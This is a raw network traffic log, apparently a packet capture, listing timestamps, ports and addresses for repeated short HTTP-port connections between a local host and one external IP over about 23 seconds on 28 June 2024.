Jun 28, 2024 13:39:38.399478912 CEST	49956	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:38.404299021 CEST	80	49956	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:38.404350996 CEST	49956	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:38.404463053 CEST	80	49955	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:38.404500961 CEST	49955	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:38.404815912 CEST	49956	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:38.421494007 CEST	80	49956	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:39.099612951 CEST	80	49956	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:39.099886894 CEST	49956	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.103960991 CEST	49957	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.104013920 CEST	49956	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.110349894 CEST	80	49957	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:39.110681057 CEST	49957	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.110743046 CEST	49957	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.111216068 CEST	80	49956	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:39.111651897 CEST	49956	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.116417885 CEST	80	49957	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:39.813210964 CEST	80	49957	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:39.813270092 CEST	49957	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.930320978 CEST	49957	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.930675030 CEST	49958	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.935483932 CEST	80	49958	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:39.935545921 CEST	49958	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.935640097 CEST	80	49957	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:39.935694933 CEST	49957	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.935837984 CEST	49958	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:39.940656900 CEST	80	49958	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:40.605612993 CEST	80	49958	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:40.606023073 CEST	49958	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:40.608732939 CEST	49958	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:40.609042883 CEST	49959	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:40.615055084 CEST	80	49958	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:40.615231991 CEST	80	49959	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:40.615314960 CEST	49959	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:40.615317106 CEST	49958	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:40.615592003 CEST	49959	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:40.622823954 CEST	80	49959	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:41.309851885 CEST	80	49959	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:41.310031891 CEST	49959	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.418855906 CEST	49959	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.419290066 CEST	49960	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.425930023 CEST	80	49960	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:41.426723003 CEST	80	49959	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:41.426749945 CEST	49960	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.429968119 CEST	49959	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.441423893 CEST	49960	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.446255922 CEST	80	49960	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:41.879277945 CEST	49960	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.883054018 CEST	49961	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.888257027 CEST	80	49961	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:41.888325930 CEST	49961	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.888489962 CEST	49961	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:41.893400908 CEST	80	49961	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:42.558021069 CEST	80	49961	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:42.564028978 CEST	49961	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:42.678942919 CEST	49961	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:42.679261923 CEST	49962	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:42.684216976 CEST	80	49962	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:42.684390068 CEST	49962	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:42.684513092 CEST	80	49961	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:42.684735060 CEST	49962	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:42.684915066 CEST	49961	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:42.689848900 CEST	80	49962	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:43.363665104 CEST	80	49962	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:43.364023924 CEST	49962	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.366883993 CEST	49963	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.366887093 CEST	49962	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.371717930 CEST	80	49963	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:43.372008085 CEST	49963	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.372040987 CEST	80	49962	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:43.372174025 CEST	49962	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.372369051 CEST	49963	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.377073050 CEST	80	49963	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:43.379933119 CEST	49963	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.380004883 CEST	49963	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.493964911 CEST	49964	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.498830080 CEST	80	49964	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:43.498914003 CEST	49964	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.501766920 CEST	49964	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:43.506859064 CEST	80	49964	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:44.176281929 CEST	80	49964	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:44.176337004 CEST	49964	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:44.179742098 CEST	49964	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:44.180211067 CEST	49965	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:44.185240984 CEST	80	49965	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:44.185296059 CEST	49965	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:44.185678959 CEST	49965	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:44.186047077 CEST	80	49964	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:44.186091900 CEST	49964	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:44.190520048 CEST	80	49965	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:44.893740892 CEST	80	49965	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:44.893860102 CEST	49965	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.006750107 CEST	49965	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.006751060 CEST	49966	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.012104034 CEST	80	49966	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:45.012341022 CEST	49966	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.012375116 CEST	49966	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.012734890 CEST	80	49965	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:45.013243914 CEST	49965	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.017263889 CEST	80	49966	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:45.682286024 CEST	80	49966	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:45.682374954 CEST	49966	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.685575962 CEST	49966	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.685908079 CEST	49967	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.690798998 CEST	80	49967	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:45.690860033 CEST	49967	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.691030025 CEST	49967	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.691067934 CEST	80	49966	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:45.691113949 CEST	49966	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:45.695930958 CEST	80	49967	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:46.359237909 CEST	80	49967	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:46.359304905 CEST	49967	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:46.475924969 CEST	49967	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:46.475929976 CEST	49968	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:46.481091022 CEST	80	49968	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:46.481484890 CEST	80	49967	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:46.484050035 CEST	49967	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:46.484052896 CEST	49968	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:46.484114885 CEST	49968	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:46.488961935 CEST	80	49968	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:47.169784069 CEST	80	49968	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:47.170141935 CEST	49968	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:47.172560930 CEST	49968	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:47.175920010 CEST	49969	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:47.178225040 CEST	80	49968	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:47.178416967 CEST	49968	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:47.180819035 CEST	80	49969	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:47.184034109 CEST	49969	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:47.184211016 CEST	49969	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:47.189083099 CEST	80	49969	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:47.891493082 CEST	80	49969	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:47.891556025 CEST	49969	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.008924007 CEST	49969	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.009362936 CEST	49970	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.014219999 CEST	80	49970	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:48.014288902 CEST	49970	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.014410019 CEST	80	49969	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:48.014462948 CEST	49969	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.014658928 CEST	49970	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.019531012 CEST	80	49970	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:48.703905106 CEST	80	49970	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:48.706805944 CEST	49970	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.709635973 CEST	49970	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.709639072 CEST	49971	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.714521885 CEST	80	49971	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:48.714853048 CEST	80	49970	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:48.714946985 CEST	49970	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.714947939 CEST	49971	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.715215921 CEST	49971	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:48.720047951 CEST	80	49971	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:49.391192913 CEST	80	49971	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:49.394046068 CEST	49971	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:49.508013964 CEST	49971	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:49.508414984 CEST	49972	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:49.513367891 CEST	80	49972	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:49.513402939 CEST	80	49971	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:49.513444901 CEST	49972	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:49.513470888 CEST	49971	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:49.513611078 CEST	49972	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:49.518552065 CEST	80	49972	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:50.191207886 CEST	80	49972	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:50.191268921 CEST	49972	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.194989920 CEST	49972	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.195432901 CEST	49973	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.200259924 CEST	80	49972	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:50.200310946 CEST	49972	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.200333118 CEST	80	49973	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:50.200397968 CEST	49973	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.200521946 CEST	49973	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.205316067 CEST	80	49973	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:50.887490988 CEST	80	49973	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:50.887656927 CEST	49973	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.991395950 CEST	49973	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.991775990 CEST	49974	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.996655941 CEST	80	49974	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:50.996795893 CEST	49974	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.996850014 CEST	80	49973	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:50.996887922 CEST	49974	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:50.996987104 CEST	49973	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.002219915 CEST	80	49974	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:51.006882906 CEST	49974	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.008233070 CEST	49975	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.013067961 CEST	80	49975	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:51.013442039 CEST	49975	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.013537884 CEST	49975	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.018330097 CEST	80	49975	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:51.702771902 CEST	80	49975	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:51.702826977 CEST	49975	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.819667101 CEST	49975	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.820039034 CEST	49976	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.824959993 CEST	80	49976	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:51.825037003 CEST	49976	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.825046062 CEST	80	49975	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:51.825105906 CEST	49975	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.825150967 CEST	49976	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:51.829963923 CEST	80	49976	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:52.490495920 CEST	80	49976	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:52.494453907 CEST	49976	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:52.494453907 CEST	49976	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:52.495940924 CEST	49977	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:52.499517918 CEST	80	49976	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:52.500858068 CEST	80	49977	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:52.500895977 CEST	49976	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:52.504412889 CEST	49977	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:52.504412889 CEST	49977	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:52.509422064 CEST	80	49977	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:53.174506903 CEST	80	49977	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:53.174705982 CEST	49977	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.288070917 CEST	49977	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.288381100 CEST	49978	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.293323994 CEST	80	49978	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:53.293385029 CEST	80	49977	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:53.293488026 CEST	49977	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.293570995 CEST	49978	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.293848991 CEST	49978	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.298612118 CEST	80	49978	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:53.964955091 CEST	80	49978	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:53.965014935 CEST	49978	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.970053911 CEST	49978	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.970525980 CEST	49979	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.975327015 CEST	80	49978	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:53.975343943 CEST	80	49979	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:53.975379944 CEST	49978	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.975430012 CEST	49979	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.975747108 CEST	49979	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:53.980564117 CEST	80	49979	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:54.802542925 CEST	80	49979	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:54.802757978 CEST	49979	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.913738012 CEST	49979	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.913742065 CEST	49980	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.918656111 CEST	80	49980	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:54.918898106 CEST	49980	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.919256926 CEST	80	49979	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:54.919287920 CEST	49980	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.919703960 CEST	49979	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.924107075 CEST	80	49980	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:54.927931070 CEST	49980	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.929001093 CEST	49981	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.933897018 CEST	80	49981	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:54.934005022 CEST	49981	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.934133053 CEST	49981	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:54.938997984 CEST	80	49981	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:55.632147074 CEST	80	49981	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:55.632230043 CEST	49981	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:55.741683960 CEST	49981	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:55.742077112 CEST	49982	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:55.746973991 CEST	80	49982	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:55.747040033 CEST	49982	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:55.747073889 CEST	80	49981	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:55.747128010 CEST	49981	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:55.747350931 CEST	49982	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:55.752275944 CEST	80	49982	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:56.424298048 CEST	80	49982	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:56.424359083 CEST	49982	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:56.428868055 CEST	49982	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:56.429327011 CEST	49983	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:56.434143066 CEST	80	49983	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:56.434207916 CEST	49983	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:56.434318066 CEST	80	49982	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:56.434335947 CEST	49983	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:56.434367895 CEST	49982	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:56.439063072 CEST	80	49983	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:57.109991074 CEST	80	49983	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:57.110135078 CEST	49983	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.226422071 CEST	49983	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.227927923 CEST	49984	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.231652021 CEST	80	49983	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:57.231925964 CEST	49983	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.232750893 CEST	80	49984	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:57.233031034 CEST	49984	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.233031034 CEST	49984	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.238537073 CEST	49984	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.240762949 CEST	80	49984	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:57.243930101 CEST	49985	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.244014978 CEST	49984	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.248759031 CEST	80	49985	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:57.252048016 CEST	49985	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.252243042 CEST	49985	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:57.256973028 CEST	80	49985	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:57.934587002 CEST	80	49985	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:57.934673071 CEST	49985	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.038837910 CEST	49985	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.039207935 CEST	49986	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.044032097 CEST	80	49986	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:58.044095039 CEST	49986	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.044307947 CEST	49986	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.044385910 CEST	80	49985	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:58.044433117 CEST	49985	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.049066067 CEST	80	49986	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:58.714232922 CEST	80	49986	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:58.714469910 CEST	49986	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.717073917 CEST	49986	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.717402935 CEST	49987	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.722234011 CEST	80	49987	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:58.722259998 CEST	80	49986	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:58.722393036 CEST	49986	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.722393036 CEST	49987	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.722616911 CEST	49987	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:58.727513075 CEST	80	49987	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:59.404699087 CEST	80	49987	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:59.410489082 CEST	49987	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:59.523245096 CEST	49987	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:59.523560047 CEST	49988	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:59.528439999 CEST	80	49988	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:59.528512001 CEST	49988	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:59.528879881 CEST	80	49987	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:59.529069901 CEST	49988	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:59.529088974 CEST	49987	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:59.533860922 CEST	80	49988	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:00.192979097 CEST	80	49988	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:00.193039894 CEST	49988	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:00.201437950 CEST	49988	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:00.201781034 CEST	49989	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:00.206698895 CEST	80	49989	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:00.206749916 CEST	80	49988	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:00.206770897 CEST	49989	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:00.206799984 CEST	49988	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:00.213330030 CEST	49989	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:00.218323946 CEST	80	49989	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:00.905541897 CEST	80	49989	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:00.906186104 CEST	49989	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.054750919 CEST	49989	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.054750919 CEST	49990	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.061755896 CEST	80	49990	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:01.061870098 CEST	49990	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.062622070 CEST	49990	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.065850973 CEST	80	49989	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:01.067996025 CEST	49989	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.068545103 CEST	80	49990	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:01.731904984 CEST	80	49990	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:01.731976032 CEST	49990	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.737231970 CEST	49990	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.737580061 CEST	49991	80	192.168.2.5	77.91.77.82
